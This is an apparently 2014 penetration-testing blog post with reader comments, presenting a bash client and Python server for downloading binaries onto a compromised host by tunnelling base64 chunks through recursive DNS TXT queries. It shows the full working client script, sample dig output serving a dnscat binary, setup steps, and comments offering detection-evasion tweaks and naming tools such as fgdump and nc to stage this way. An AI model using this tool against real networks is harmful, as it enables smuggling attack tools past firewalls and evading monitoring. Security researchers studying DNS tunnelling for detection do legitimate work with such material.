Thursday, March 20, 2014

Downloading Files Through Recursive DNS With Bash (Or PowerShell)

I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you've somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.


In these scenarios where you've got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you're in luck. I find this is almost always the case.


For those who may be unfamiliar with this technique the scenario looks something like this:


Target <---> Internal DNS Server <-----> Registrar Nameserver <------> Attackers Remote Machine


There are a number of existing tools to do this (dnscat, iodine...) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!

So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).


The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:

bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat
DEBUG:root:[+] Bound to UDP port 53.
DEBUG:root:[+] Waiting for request...

bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com
"f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUBpAAAAAAABAAAAAAAAAAOCQAgAAAAAAAAAAAEAAOAAIAEAAJQAiAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgAAAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAA"

bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com
"AAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAGRRAQAAAAAAZFEBAAAAAAAAACAAAAAAAAEAAAAGAAAAaFEBAAAAAABoUWEAAAAAAGhRYQAAAAAA2AQAAAAAAAAIBQAAAAAAAAAAIAAAAAAAAgAAAAYAAACAUQEA"


So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:

#!/bin/bash
error=';; connection timed out; no servers could be reached'
i=0
echo ''> output.b64
while :
do
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
  then
    echo "Timeout - done"
    break
  fi
  echo -ne $RESP >> output.b64
  echo $RESP
  i=$((i+1))
done
cat output.b64 | base64 -d > output

Notice in the above script we don't use "dig @localhost" anymore - the request goes through some DNS servers on the Internet and eventually makes it to our "server.py" file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.


Sample Usage:

  • Configure your server where you will run server.py to be the authoritative nameserver for a  subdomain (e.g: dns.testdomain.com). Do this with the registrar where you've registered testdomain.com.
  • On the server, run sudo ./server.py -f someFile
  • On the client, run ./client.sh dns.testdomain.com
  • At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.
To do:
  • This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.

Code at

  • https://github.com/breenmachine/dnsftp

3 comments:

  1. It may be more prudent from an evasion standpoint to embed multiple 255-character strings in a single TXT record than to use multiple recursive queries. The only condition is that you do not exceed the 512-byte maximum imposed by EDNS0 (a component of DNSSEC), which then forces a retry using TCP. Otherwise really nice work.

    ReplyDelete
    Replies
    1. Good idea, should be a simple modification to the client/server scripts...

      Delete
  2. Another technique may be to encode the name of (or a reference to) the file in a further subdomain.

    e.g. 0.fgdump.file.example.com, 0.nc.file.example.com

    And you should also be able to just generate TXT records for an instance of bind or other DNS server serving that domain, no need to have a new program to serve the static records. If you are tunnelling TCP connections over DNS, sure, but no need if the records are purely static.

    ReplyDelete